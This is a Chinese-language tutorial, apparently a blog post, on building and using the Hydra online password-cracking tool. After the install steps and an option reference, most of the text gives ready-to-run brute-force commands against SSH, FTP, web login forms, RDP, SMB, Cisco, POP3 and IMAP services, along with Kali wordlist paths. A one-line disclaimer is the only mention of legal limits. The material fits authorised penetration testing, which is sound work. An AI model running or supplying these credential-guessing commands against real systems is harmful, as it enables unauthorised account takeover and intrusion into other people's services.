hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra,可支持AFP, Cisco
AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET,
HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,
HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP,
MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere,
PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP
Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet,
VMware-Auth, VNC and XMPP等类型密码。
这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破解,其密码能否被破解关键在于字典是否足够强大。对于社会工程型渗透来说,有时能够得到事半功倍的效果。本文仅从安全角度去探讨测试,请勿用于非法事件。
安装:
1.yum
安装相应依赖包
# yum install openssl-devel pcre-devel
ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
2.hydra编译安装
# cd /usr/local/src
# wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
# tar zxf hydra-6.3-src.tar.gz
# cd hydra-6.3-src
# ./configure
# make
# make install
# ./configure会检测当前系统一些组件配置,主要是对于破解支持模块的检测,可根据需要安装对应的支持库和依赖包
# make
# make
install
参数:
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项
使用:
1.
手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典
2.破解ssh:
# hydra -L users.txt -P password.txt -t 1 -vV -e
ns 192.168.0.106 ssh
破解成功,直接显示结果。也可以使用 -o 选项指定结果输出文件。
# hydra -L users.txt -P password.txt -t 1 -vV -e
ns -o save.log 192.168.1.104 ssh
其它实例:
1.破解ssh:
# hydra -l 用户名 -p 密码字典 -t 线程-vV -e ns ip ssh
# hydra -l 用户名 -p 密码字典 -t 线程-o save.log -vV ip ssh
2.
破解ftp:
# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra ip ftp -l 用户名 -P 密码字典-e ns -vV
3.get
方式提交,破解web登录:
# hydra -l 用户名 -p 密码字典 -t 线程-vV -e ns ip http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程-vV -e ns -f ip http-get /admin/index.php
4.post
方式提交,破解web登录:
# hydra -l 用户名 -P 密码字典-s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
# hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)
5.
破解https:
# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
6.
破解teamspeak:
# hydra -l 用户名 -P 密码字典 -s 端口号-vV ip teamspeak
7.
破解cisco:
# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
8.
破解smb:
# hydra -l administrator -P top100.txt 192.168.0.102 smb
9.
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
10.
破解rdp:
# hydra 192.168.0.102 rdp -l administrator -P top100.txt -V
11.
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
12.
破解imap:
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果
kail密码字典
/usr/share/wfuzz/wordlist/others/names.txt
/usr/share/wfuzz/wordlist/others/common_pass.txt
在该界面指定用户名和密码列表文件,这里使用Kali系统中存在的用户名和密码列表文件,并选择Loop around users选项。其中,用户名和密码文件分别保存在/usr/share/wfuzz/wordlist/others/names.txt和/usr/share/wfuzz/wordlist/others/common_pass.txt中
附录:附录1:hydra: error while loading shared libraries: libssh.so.4:cannot open shared object file: No such file or directory
如果是ubuntu系统的话,直接apt-get install cmake
libssl-dev就可以了。但我系统的centOS,没有找到libssl-dev这东西。因为手#动编译了libssh
# yum install cmake
# cd /usr/local/src
# wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
# tar zxf libssh-0.4.8.tar.gz
# cd libssh-0.4.8
# mkdir build
# cd build
# cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
# make
# make install
# /sbin/ldconfig //要执行这句,不然会出现hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory
# cd /usr/local/src
# wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz
# tar zxf hydra-6.3-src.tar.gz
# cd hydra-6.3-src
# ./configure
# make
# make install
附录2:
http://www.cnblogs.com/mchina/archive/2013/01/01/2840815.html
http://www.ha97.com/5186.html
网友评论